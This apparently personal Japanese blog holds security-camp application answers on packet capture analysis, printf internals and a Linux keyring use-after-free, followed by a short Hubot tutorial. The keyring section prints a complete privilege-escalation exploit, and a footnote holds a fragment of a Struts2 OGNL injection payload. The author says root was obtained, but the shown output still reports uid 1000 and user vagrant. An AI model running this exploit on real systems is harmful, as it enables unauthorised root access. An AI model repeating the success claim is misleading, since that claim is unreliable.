  7   0.008059 192.168.99.1 -> 192.168.99.10 TCP 66 64278→22 [ACK] Seq=22 Ack=42 Win=131712 Len=0 TSval=724241527 TSecr=11795243
 13   0.008970 192.168.99.1 -> 192.168.99.10 TCP 66 64278→22 [ACK] Seq=1614 Ack=1690 Win=130848 Len=0 TSval=724241527 TSecr=11795243
16   0.010436 192.168.99.1 -> 192.168.99.10 TCP 66 64278→22 [ACK] Seq=1638 Ack=1842 Win=130912 Len=0 TSval=724241529 TSecr=11795243
19   0.013810 192.168.99.1 -> 192.168.99.10 TCP 66 64278→22 [ACK] Seq=1782 Ack=2562 Win=130336 Len=0 TSval=724241532 TSecr=11795244
249  79.430627 192.168.99.1 -> 192.168.99.10 TCP 78 64283→22 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=32 TSval=724320605 TSecr=0 SACK_PERM=1
250  79.430856 192.168.99.10 -> 192.168.99.1 TCP 60 22→64283 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0

 まずssh -p 22 vagrant@192.168.99.10Mac上でコマンドを実行します.次に,仮想環境のUbuntusshの設定を書き換えました.一度SSHの接続を切り,再度 ssh -p 22 vagrant@192.168.99.10を実行.結果は,No.250で[RST, ACK]が返ってきました.RSTは,通信が拒否されたということである.従って,最初の推測は間違っていました.そこで,通常のSSHの通信を観察してみました.観察すると,No.1~No.3でSSHのポート番号22と通信を確立して,No.4以降は,SSHに接続中で[ACK]のAckの値が増加していた.このことから2つのことが推測できる.問題の「q1.pcap」では,「SSHの通信をしているよ」という確認を送っているために,ACK番号が増加していること,SSHの通信の確立は,Wiresharkでキャプチャする以前に行われている. (iii)について考えます.Content-Typeを細工したリクエストをChromeウェブストアの「Advanced REST client」で送った通信を「Wireshark」で観察しました.その結果のHTPヘッダのUser-agentに注目する. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 今回はChromeウェブストアの「Advanced REST client」を使って行っているので,ChromeでアクセスしたときのUser-agentとなっている.User-agentの出力例は, http://s-ej.com/glossary/useragent.html を参考にしました.以上のことからこの問題(「q1.pcap」)の観測した際の環境は、Gekcoと呼ばれるソフトウェアオープンソースのHTMLレンダリングエンジンの総称であり、Firefoxでも使われ,Firefoxからアクセスし,VMware上でApache Struts2を動かしていると推測できる.

問題4

C言語のprintf()関数またはUNIXのfork()というシステムコールとはどういうものか?深掘りして考えてみてください

今回の問題を解くにあたり,以下の順番で解いていきました。

  1. printf()関数とは
  2. printf()を深追いしよう
  3. 最後に

1. printf()関数とは   printf()関数とは,ライブラリ関数であり,formatに従って出力を生成するものである.使用の際には, #include <stdio.h>が必要であり,これは標準の入力/出力(Standard Input/Output)を扱うヘッダーファイルを読み込んでいる.manページ(https://linux.die.net/man/3/printf)を参照すると,セクション3であり以下のように書いてある.

#include <stdio.h>
int printf(const char *format, ...);

このformatとは,通常の多バイト文字 (multibyte character) と変換指定(&dなど)を記述する.はじめに,システムコールトレースや共有ライブラリトレース,デバッグ及び逆アセンブルするための"q4.c"を作成しました.以下に示します.

#include <stdio.h>
 
int main(void){
                printf(“hello, world\n”);
                return 0;
}

以下に動作環境を示す. 今回は仮想環境内で検証しました.

ホストOS: OS X Yosemite バージョン:10.10.4
仮想化ソフト: Vagrant, VirtualBox
ゲストOS: Ubuntu 14.04 LTS (IPアドレス: 192.168.99.10)

続いてプログラムをコンパイルし,今回は,静的リンクと動的リンクした2つの実行ファイル(それぞれ”q4_s”と”q4_d")を生成した.

2. printf()を深追いしよう  私は、printf()関数について深掘りするため、(i)システムコールトレース,(ii)共有ライブラリトレース,(iv)デバッグと逆アセンブルの順で調べました. (i) システムコールトレース   システムコールをトレースする「strace」コマンドのそれぞれの実行結果を以下に示す.

vagrant@vagrant-ubuntu-trusty:~/printf$ strace ./q4_d
execve("./q4_d", ["./q4_d"], [/* 20 vars */]) = 0
brk(0)                                  = 0xddd000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f1daf47c000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=21673, ...}) = 0
mmap(NULL, 21673, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f1daf476000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P \2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1853216, ...}) = 0
mmap(NULL, 3961536, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f1daee94000
mprotect(0x7f1daf052000, 2093056, PROT_NONE) = 0
mmap(0x7f1daf251000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1bd000) = 0x7f1daf251000
mmap(0x7f1daf257000, 17088, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f1daf257000
close(3)                                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f1daf475000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f1daf473000
arch_prctl(ARCH_SET_FS, 0x7f1daf473740) = 0
mprotect(0x7f1daf251000, 16384, PROT_READ) = 0
mprotect(0x600000, 4096, PROT_READ)     = 0
mprotect(0x7f1daf47e000, 4096, PROT_READ) = 0
munmap(0x7f1daf476000, 21673)           = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f1daf47b000
write(1, "hello, world\n", 13hello, world
)          = 13
exit_group(0)                           = ?
+++ exited with 0 +++
vagrant@vagrant-ubuntu-trusty:~/printf$ strace ./q4_d
execve("./q4_s", ["./q4_s"], [/* 20 vars */]) = 0
uname({sys="Linux", node="vagrant-ubuntu-trusty", ...}) = 0
brk(0)                                  = 0x1ea4000
brk(0x1ea51c0)                          = 0x1ea51c0
arch_prctl(ARCH_SET_FS, 0x1ea4880)      = 0
readlink("/proc/self/exe", "/home/vagrant/printf/q4_s", 4096) = 25
brk(0x1ec61c0)                          = 0x1ec61c0
brk(0x1ec7000)                          = 0x1ec7000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f7cb9f7f000
write(1, "hello, world\n", 13hello, world
)          = 13
exit_group(0)                           = ?
+++ exited with 0 +++

 「システムコール」の説明として,「ユーザー空間」と「カーネル空間」のデータの橋渡しを行っています. 2つの実行ファイルのprintf()関数は,どちらも最終的にシステムコールの「write()」をコールしている.「write()」によって文字の出力がされている. 「write()」を呼ぶことで,writeシステムコールが呼び出され文字列の出力をOSに依頼している.ここで「write()」の構造を以下に示す.

#include <unistd.h>
ssize_t write(int fd , const void * buf , size_t count );

 第2引数のbufで示されるバッファから最大countバイトまでをファイルディスクリプタfdによって参照されるファイルへ書き込まれます。  私はここで「write()」のみを使って,文字を出力するのではだめなのかと考えました.「printf()」はバッファリングが行われているために,printfなどの入出力ライブラリでは数KBのバッファをもっており,printf関数がコールされるとバッファにデータをためてバッファが一杯になると「write()」で出力するという仕組みである.そのためwrite()をたくさん呼ぶのは非効率のようだ.

(ii) 共有ライブラリトレース  共有ライブラリとの依存関係をチェックする「ldd」コマンドを実行した結果を示す.

vagrant@vagrant-ubuntu-trusty:~/printf$ ldd q4_d
        linux-vdso.so.1 =>  (0x00007ffdd6f49000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb2e0100000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fb2e04c8000)
vagrant@vagrant-ubuntu-trusty:~/printf$ ldd q4_s
        not a dynamic executable

 「printf()」は「glibc」のライブラリの一部であり,実行プログラムの共有ライブラリのリンク状況を見ると,「lib.so.6」がリンクされています.“q4_d.c”の実行ファイルは,libc.so.6などの共有ライブラリが実行に必要なことが分かる.  ライブラリとは,コンパイラアセンブラが生成した*.o オブジェクトファイルをまとめたものです.  ここで共有ライブラリの動的リンク,静的リンク及び静的ライブラリについて説明したい.共有ライブラリとは,1つのファイルをmmap(2)などを使って,複数のオブジェクトファイルを1つの巨大なオブジェクトファイルにして共有する.また実行可能な形式のファイルを起動するときに必要なライブラリとリンクします.動的リンクの際は,ファイル拡張子は,「XXX.so」である.逆に静的リンクは, 「.so ファイル」に依存しない.動的リンクの利点は,ファイルサイズを小さく,複数のプロセスが共有することにより使用メモリを少なくする.静的リンクの利点は,「.soファイル」が設置していない環境でも動く. 次に、実行プログラムのシンボルを調べる「nm」コマンドを実行した結果を以下に示す.ここでシンボルとは,リンカが関数や変数を識別するときに用いる名前である.nmコマンドでオブジェクトファイルのシンボルを読める.

vagrant@vagrant-ubuntu-trusty:~/printf$ nm q4_d
0000000000601040 B __bss_start
0000000000601040 b completed.6973
00000000004005c0 T __libc_csu_fini
…..
0000000000400550 T __libc_csu_init
                 U __libc_start_main@@GLIBC_2.2.5
000000000040052d T main
                 U puts@@GLIBC_2.2.5 
00000000004004a0 t register_tm_clones
0000000000400440 T _start
0000000000601040 D __TMC_END__

 上記の実行結果では,”U puts@@GLIBC_2.2.5”と「printf()」ではなく「puts()」が動的リンクしています.これは,「printf()」が高機能であるがゆえ,関数内部の処理が複雑で処理速度が見劣りする.そのため,gccコンパイル時により高速な「puts()」に置き換えられます.この現象である「gcc」による「関数置き換え」は,最適化を無効にしても行われます.続いて”q4_s”のnmコマンド実行すると,長い実行プログラムのシンボル(関数名や変数など)がたくさん出力されました.こちらの”q4_s"の静的リンクでコンパイルしたものは「.so」ファイルに依存していないため,リンクする外部プログラムは実行可能ファイルに組み込まれるため,ファイルのサイズが大きくなってしまい,多くのシンボルが出力されたと私は考えました.また動的リンクの共有ライブラリの関数呼び出しをトレースする「ltrace」コマンドを実行してみた結果を以下に示す.

vagrant@vagrant-ubuntu-trusty:~/printf$ ltrace ./q4_d
__libc_start_main(0x40052d, 1, 0x7ffd8da750f8, 0x400550 <unfinished ...>
puts("hello, world"hello, world
)                                                                  = 13
+++ exited (status 0) +++
vagrant@vagrant-ubuntu-trusty:~/printf$ ltrace ./q4_s
Couldn't find .dynsym or .dynstr in "/proc/10904/exe”

上記の結果から,”q4_d"では共有ライブラリを使用していて,「puts」が呼び出されていることが分かる.これは,共有ライブラリの「puts」で文字出力を行っていることを示している.また”q4_s"では静的リンクでコンパイルしているため, Couldn’t findとなっている.

(iii) デバッグと逆アセンブル 「デバッガgdb」を用いて逆アセンブルした結果を以下に示します. 動的リンクの’q4_d’のmain関数の逆アセンブルすると,0x0000000000400536 <+9>: call 0x400410 <puts@plt>がある.静的リンクの’q4_s’のmain関数の逆アセンブルすると, 0x0000000000401067 <+9>: call 0x408640 <puts>がある. なぜここでではなくになる理由は,文字列の末尾が \n で終わり,%d などのフォーマット指定がないときに行われるようです.今回も同様に,printf()の定義のformatには文字列と変換指定子(%dなど)が定義され,それを読み取り出力します.しかし,今回は変換指定子を指定していないため,コンパイラによってに変換されたと考えました。また ”q4_d” と “q4_s “ のmain関数の逆アセンブル結果の違いは,call命令で呼ばれる<puts@plt>とです.そこで2つの違いについて調べました.<puts@plt>についてです.ELFがライブラリから関数を呼び出す際に,PLT(Procedure Linkage Table),GOT(Global Offset Table)と呼ばれる機構が仕様されます.これは対象の共有ライブラリへ参照するために,一度読んだ関数のアドレスをGOT領域に保存し,PLTからそのGOTへジャンプすることで,動的リンクの共有ライブラリの関数の呼び出しを行っている.またPLTが呼び出す関数は別のモジュール(lib.so.x)にある.この動作を詳しく知るために,<puts@plt>の逆アセンブルした結果を以下に示します.

0000000000400400 <puts@plt-0x10>:
  400400:       ff 35 02 0c 20 00       push   QWORD PTR [rip+0x200c02]        # 601008 <_GLOBAL_OFFSET_TABLE_+0x8>
  400406:       ff 25 04 0c 20 00       jmp    QWORD PTR [rip+0x200c04]        # 601010 <_GLOBAL_OFFSET_TABLE_+0x10>
  40040c:       0f 1f 40 00             nop    DWORD PTR [rax+0x0]
0000000000400410 <puts@plt>:
  400410:       ff 25 02 0c 20 00       jmp    QWORD PTR [rip+0x200c02]        # 601018 <_GLOBAL_OFFSET_TABLE_+0x18>
  400416:       68 00 00 00 00          push   0x0
  40041b:       e9 e0 ff ff ff          jmp    400400 <_init+0x20>

デバッガgdbを使用して,関数の中に入るステップイン実行で関数の動作を追いかけました.“q4_d”のmain関数の逆アセンブルの結果から、 0x0000000000400536 <+9>: call 0x400410 <puts@plt> となっていて,「0x400410」にcall命令で呼び出しています.よってアドレス番地0x400410を見ると以下のようになっていました. 400410: ff 25 02 0c 20 00 jmp QWORD PTR [rip+0x200c02] # 601018 <_GLOBAL_OFFSET_TABLE_+0x18> ここから分かることは,QWORD=8Byte=64bit, rip=0x400410なので,「rip」は現在実行されているプログラム番地を示していて,[rip+0x200c02] が64bit幅のデータを持つことを指していて,rip+0x200c02 = 0x601012のアドレス番地にジャンプ命令でジャンプすると思ったが,0x400416→0x40041bと進み, 0x400400にジャンプしました。  0x400400→0x400406と進み,0x400406で rip + 0x200c04 = 0x60100Aのアドレスにジャンプすると思ったが,0x7ffff7df04a0に飛んだ.これは,[.plt] は [.got] の中を参照し動くが,そのときに [.plt] がメモリ上に配置される番地から [.got] がメモリ上に配置される番地へのオフセットは常に一定のオフセットとなるように配置される.そのオフセットがこの場合, 0x200c04です. %rip を参照することで, [.plt] がメモリ上の現在の番地を取得することができる.そこからのオフセットで[.got] を参照するので,このプログラムは何番地に配置されていても正しく動作するようになっている.従って<XXX@plt>内では, [.got]を参照して動くので<rip+オフセット値>のアドレス番地に飛ぶわけではないということがわかった. “q4_s”でも同様にデバッガで実行した.これは「nm」コマンドを”q4_s”に対して行った際に見かけられたシンボルが多くありました.

問題5

Linuxカーネル3.8 ~ 4.4に存在する脆弱性であり、これの不具合を説明しなさい。これを悪用して権限昇格するコードを書きなさい。自分が試した動作環境や工夫も書きなさい

/* $ gcc leak.c -o leak -lkeyutils -Wall */
/* $ ./leak */
/* $ cat /proc/keys */

#include <stddef.h>
#include <stdio.h>
#include <sys/types.h>
#include <keyutils.h>

int main(int argc, const char *argv[])
{
    int i = 0;
    key_serial_t serial;

    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
    if (serial < 0) {
        perror("keyctl");
        return -1;
    }

    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
        perror("keyctl");
        return -1;
    }

    for (i = 0; i < 100; i++) {
        serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
        if (serial < 0) {
            perror("keyctl");
            return -1;
        }
    }

    return 0;
}

今回の問題を解くにあたり以下の順番で行いました。 動作環境
問題のソースコードを実行した結果と不具合について root権限昇格を行うエクスプロイトコードの実行及び考察 工夫点とroot権限昇格を行う攻撃などの緩和策 最後に

1. 動作環境

PC: MacBook Pro (Retina, 13-inch, Late 2013)
OS: OS X Yosemite 10.10.4
仮想化ソフト: Vagrant, VirtualBox
仮想環境
    ・OS:           CentOS7.1.1503 (Core)
 ・カーネル:  3.10.0-229.14.1.el7.x86_64

2. 問題のソースコードを実行した結果と不具合について 問題文のプログラムを「q5.c」とする. 以下に実行結果を示します. Keyutils-libs-develのインストールが必要です.

[vagrant@localhost ~]$ cat /etc/redhat-release 
CentOS Linux release 7.1.1503 (Core) 
[vagrant@localhost ~]$ uname -r 
3.10.0-229.14.1.el7.x86_64 
[vagrant@localhost ~]$ vi q5.c 
 [vagrant@localhost ~]$ gcc q5.c -o q5 -lkeyutils -Wall 
[vagrant@localhost ~]$ ls 
q5  q5.c 
[vagrant@localhost ~]$ cat /proc/keys 
0579972b I--Q---     1 perm 1f3f0000  1000 65534 keyring   _uid.1000: empty 
2c246c06 I--Q---    11 perm 3f030000  1000  1000 keyring   _ses: 1 
[vagrant@localhost ~]$ ./q5 
[vagrant@localhost ~]$ cat /proc/keys 
32421eca I--Q---   100 perm 3f3f0000  1000  1000 keyring   leaked-keyring: empty 
38600061 I--Q---     1 perm 1f3f0000  1000 65534 keyring   _uid.1000: empty 
3dc5b1a3 I--Q---    11 perm 3f030000  1000  1000 keyring   _ses: 1 

 このプログラムの実行による不具合は,Linuxカーネルのキーリング機構においてこのキーリングデータを置き換えるプロセスにおける脆弱性が存在することで以前に解放されたキーリングオブジェクトによって使用されるメモリを介してユーザー空間から別のカーネルオブジェクトを割り当てコードの実行が可能となる.
 ここでキーリングとは,主にドライバがセキュリティデータ、認証キー、暗号化キーとカーネル内の他のデータを保持またはキャッシュできる機構である.また、他の鍵もしくは鍵リングへの一連のリンクを含む鍵であり,目的は他のキーがガベージコレクションされないようするためである.  キーと呼ばれる鍵の意味について調べました.鍵とは,暗号化データ・認証トークン、あるいはカーネル内の’key’という構造体によって表せる類似した要素などからなる一群のデータである.  「keyutils」は,カーネルキーリング機能にアクセスするためのライブラリとユーティリティのセットである.この「keyutils」に含まれるシステムコールの「keyctl」には鍵を管理するための機能が用意されている.第1引数によって,その操作は異なります.  各プロセスがkeyctl(KEYCTL_JOIN_SESSION_KEYRING, name)を使用して現在のセッションキーリングを作成し,NULLを渡すことによってキーリングに名前が割り当てられているかどうかがわかります.またキーリングオブジェクトは同じキーリング名を参照することで,プロセス間で共有できます.またプロセスが既にセッションキーリングを持っている場合,新しいものに置き換える.さらにオブジェクトは,プロセス間で共有されている場合”usage”と呼ばれるオブジェクトの内部参照をカウントした数を表すフィールドに格納され,その数が増加します.カウンターがゼロだと,カーネルはオブジェクトを解放できると認識します.カーネルがキーリングオブジェクトの取得を「key_get()」,解放を「key_put()」関数を呼び出す.  今回のエラーは,「key_puts()」関数を呼び出せないことです.キーオブジェクトを取得する呼び出し回数が解放要求に一致しない場合,カウンターの整数値が最大値からゼロにラップされる.カウンターがゼロであるとの条件を満たす場合,オブジェクトは解放されるが,メモリ内のオブジェクトへの参照は残ります.この状況により,参照カウンターのオーバーフローが生じ「use-after-free」が生じる. ここで「use-after-free」について説明します. 1) プログラムがオブジェクトAを割り当て,その後それを解放. 2) アタッカーが解放されたメモリ部分にオブジェクトBを割り当て,後々使用されるデータを慎重に制御. 3) プログラムが解放されたオブジェクトAを使用し,アタッカー制御のデータを参照. カーネルの他の部分は,この解放済みメモリを使用のために割り当てることができる.攻撃者は,メモリの正しい場所を各種の指示で上書きすることで,このメモリ内の関数が呼び出し時のペイロードとして,この解放済みのメモリ領域を使用することができ,昇格された特権を持つ新たなシェルを発生させれる.  次にプログラム「q5.c」を見てみます. プログラムを見ると,11行目の serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, “leaked-keyring”); によって,プロセスがセッションキーリングを持ちます.また,22行目のfor文にて100回 serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, “leaked-keyring”); を繰り返し行っている. これを行うことで,先程述べたプロセスがセッションキーリングを持ち,さらに同じキーリング名を参照しているため,[usage]の値が’100’となります.加えて, keyctl(KEYCTL_SETPERM、serial、KEY_POS_ALL | KEY_USR_ALL) これは,所有者とユーザーに対して権限を与えていると思われる.  続いて、プログラム実行後の結果について考えてみる.上記の結果では,問題文のプログラム実行後 cat /proc/keys に 32421eca I--Q--- 100 perm 3f3f0000 1000 1000 keyring leaked-keyring: empty が追加されている.これを読み解いていくと、 上記でも説明したように,[Usage]は100となっている. [Permissions]: 3f3f0000 が表すのは,左から2ビットずつ所有者・ユーザー・グループ・その他の順に何の権限を持つかを表す.足し合わせ値がどの権限まで持つかを表し,3f3fなので所有者とユーザーが権限を持つ.

3. root権限昇格を行うエクスプロイトコードの実行及び考察  エクスプロイトコードの「q5_exploit.c」を以下に示す.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81094250)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)

struct key_type {
    char * name;
    size_t datalen;
    void * vet_description;
    void * preparse;
    void * free_preparse;
    void * instantiate;
    void * update;
    void * match_preparse;
    void * match_free;
    void * revoke;
    void * destroy;
};

void userspace_revoke(void * key) {
    commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
    const char *keyring_name;
    size_t i = 0;
      unsigned long int l = 0x100000000/2;
    key_serial_t serial = -1;
    pid_t pid = -1;

    struct key_type * my_key_type = NULL;
    
struct { long mtype;
        char mtext[STRUCT_LEN];
    } msg = {0x4141414141414141, {0}};
    int msqid;

    if (argc != 2) {
        puts("usage: ./keys <key_name>");
        return 1;
    }

    printf("uid=%d, euid=%d\n", getuid(), geteuid()); 
    commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
    prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
    
   
    my_key_type = malloc(sizeof(*my_key_type));

    my_key_type->revoke = (void*)userspace_revoke;
    memset(msg.mtext, 'A', sizeof(msg.mtext));

    // key->uid
    *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
    //key->perm
    *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

    //key->type
    *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("msgget");
        exit(1);
    }

    keyring_name = argv[1];

    /* Set the new session keyring before we start  初期化*/
    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
    if (serial < 0) {
        perror("keyctl");
        return -1;
    }
    
    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
        perror("keyctl");
        return -1;
    }
    puts("Increfing...");
    for (i = 1; i < 0xfffffffd; i++) {
        if (i == (0xffffffff - l)) {
            l = l/2;
            sleep(5);
        }
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    sleep(5);
    /* here we are going to leak the last references to overflow  オーバーフローする*/
    for (i=0; i<5; ++i) {
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    puts("finished increfing");
    puts("forking...");
    /* allocate msg struct in the kernel rewriting the freed keyring object 上書きが行われる*/
    for (i=0; i<64; i++) {
        pid = fork();
        if (pid == -1) {
            perror("fork");
            return -1;
        }

        if (pid == 0) {
            sleep(2);
            if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                perror("msgget");
                exit(1);
            }
            for (i = 0; i < 64; i++) {
                if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
                    perror("msgsnd");
                    exit(1);
                }
            }
            sleep(-1);
            exit(1);
        }
    }
   
    puts("finished forking");
    sleep(5);

    /* call userspace_revoke from kernel */
    puts("caling revoke...");
    if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
        perror("keyctl_revoke");
    }

    printf("uid=%d, euid=%d\n", getuid(), geteuid());
    execl("/bin/sh", "/bin/sh", NULL);
    return 0;
}

エクスプロイトコードの実行結果を以下に示す.

[vagrant@localhost ~]$ vi q5_exploit.c 
[vagrant@localhost ~]$ gcc q5_exploit.c -o q5_exploit -lkeyutils -Wall 
[vagrant@localhost ~]$ ./q5_exploit  -PP1 
uid=1000, euid=1000 
Increfing... 
finished increfing 
forking... 
finished forking 
caling revoke... 
uid=1000, euid=1000 
sh-4.2$ 
sh-4.2$ whoami 
vagrant 

エクスプロイトの実行ファイルの実行にはおよそ30分ほどかかり,root権限昇格ができていました.

4. 工夫点とroot権限昇格を行う攻撃などの緩和策  このroot権限昇格エクスプロイトを行うにあたって工夫した点は2点あります. まず1点目は、仮想環境内で行ったことです.仮想環境ならすぐに壊したり再構築が簡単なため普段から重宝しています. 2点目は,今回の脆弱性カーネルのバージョンによって治っているかを調べました.ただ,root権限昇格のエクスプロイトを行った環境と異なるVagrant Boxで行いました.そこで権限昇格のエクスプロイトを行った環境のカーネルのバージョンを上げようと試みたのですが,できませんでした.  緩和策としては、以下の3点を思いつきました。   1.カーネルバージョンなどの最新版へのアップデートや修正プログラムを適用を速やかに行う. 2.異なるタイプのオブジェクトを用い,解放されたメモリの再度利用を不可能とする安全なメモリ管理システムを使用し,同じオブジェクトでのみメモリの差し替えを可能にする. 3.メモリの割当と解放の動作を行えるユーザーを制限 ・メモリ割り当てに隔離されたヒープを用いる ・保護下で解放を行う

まとめ

長ったらしいので問題1個ずつどう解いたのか軽く書いておきます。

  • 問題1  ひたすらWireSharkでログを見ながら解きました!わからないもの?ググりましょう!今回は、たったの14行なので、正直TCPの3way handshakeを知っていれば欠けている通信がわかります。また、使われているプロトコルを確認して、実際にその動作を検証してみるのもありだと思います!これによって通常と違うトラフィックが分かります。またHTTPにおいては何のブラウザで開かれるか見てみましょう。あ、Mac OSXで開いてるとか意外なことが分かるかもですよ!特に、注目してほしい点を以下に書きました!

  • 問題4 まず図書館に駆け込みました!printf()を深読みする本ならあるだろうと思いました!これは読んだもん勝ちだ!!って思いながら本を借りに行きました!

ハロー“Hello, World” OSと標準ライブラリのシゴトとしくみ|書籍情報|秀和システム 本当は上記の本が思いついたので探したですが、我が大学の図書館にはなかったので…..

Amazon CAPTCHA を参考にして、勉強しました! この本のおかげで、解けたようなものでした!!

  • 問題5  この問題はもうさっぱりでした。初見でこれは解けない、もう諦めました….でもググるだけググってみようと考え調べてみると意外といろいろな情報がわかってきたので、解いてました。正答かつ完璧に理解はできませんでしたが…ggrks偉大って思いました。

感想

 ここまで長くなりました。なお回答とほぼ同じで直していないので読みにくいですね…ごめんなさい
 これ実は短くしたバージョンで、これ以上に書いたりしています(といっても、ログみたいなものばかりですが…)
 正直な感想、画像が使えなかったので、辛い!!!
 文量で殴りに行きましょう!でも読みやすいようにね…読む人きっと苦労しましたよね…ごめんなさい
 わからないことがあったら、近場にセキュリティ・キャンプ卒業生がいたら聞いてみましょう!きっと優しく教えてくれるはずです!!いないなら、Twitterで探せばいろいろな人がいるので、きっと教えてくれる人はいると思います。
 読んだ方、ありがとうございます。

*1:#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class

hubotを用いた楽しいslackLife(入門編)

ak1raです! インターンシップに参加した企業で, hubotを見かけてから興味がでて少し作ってみました。

Hubotって何??

hubot

GitHub社が開発しMITライセンスで公開しているNode.jsでbotを作り動かすためのフレームワークです。 Hubotは, 様々なチャットツールと連携でき,「Adapter」を切り替えることでそれができる。 呼び方は, 「ヒュボット」らしい。。

Hubotは主に以下のことができる。

など様々なことができるので楽しいですよ〜

Hubotの導入方法(Mac)

今回はMacでHubotの開発環境を作りました. ほぼここ(http://qiita.com/susuwatarin/items/019e0e701754161f7c4c)で導入はできるので見てみてください。 大まかな流れは、

  1. Homebrewを入れる
  2. brew install node で Node.jsをインストー
  3. Hubotを作るための「Yeoman」というツールセットをインストーnpm install -g yo generator-hubot
  4. Hubotのプロジェクトを作っていく yo hubot
  5. Hubotをローカルで動かす bin/hubot
  6. HerokuやBluemixなどにHubotをweb上に公開する

※Herokuだと24時間稼働し続ける事ができないので, Bluemixのが良いらしい…..

Hubotの書き方

  • respondとhear
    • respond : 呼ばれて答える
    • hear: ある発言に対して反応する

ex)

robot.respond /hi$/i, (msg) ->
  msg.send "Hello!"
 
robot.hear /hi$/i, (msg) ->
  msg.send "hello!"
  • 正規表現とmsgオブジェクト
    • いくつかの文字列を一つの形式で表現するための表現方法
    • 正規表現にマッチした発言を第二引数(msg)に渡す
    • 今回, msg.match[1]だが, 正規表現が2つ書いてあり,二つ目が良いならmsg.match[2]となる

ex)

robot.respond /I am (.*)/i, (msg) ->
   msg.send "You are #{msg.match[1]}"

nodejsのライブラリからインストールして実行

  • cron(定期実行)
    • npm install cron --save
    • これが,package.jsonに加わり, scriptsで使える

ex)

cronJob = require('cron').CronJob
module.exports = (robot) ->

  new cronJob('0 30 12 * * 1-5', () ->
      robot.send ( '#12th-member', '@here 昼飯だべ~')
    ).start

ex)

request = require 'request'
cheerio = require 'cheerio'
 
module.exports = (robot) ->
  robot.respond /title (.*)/i, (msg) ->
    url = msg.match[1]
    options =
      url: url
      timeout: 2000
      headers: {'user-agent': 'node title fetcher'}
 
    request options, (error, response, body) ->
      $ = cheerio.load body
      title = $('title').text().replace(/\n/g, '')
      msg.send(title)

以上のようなことができます。

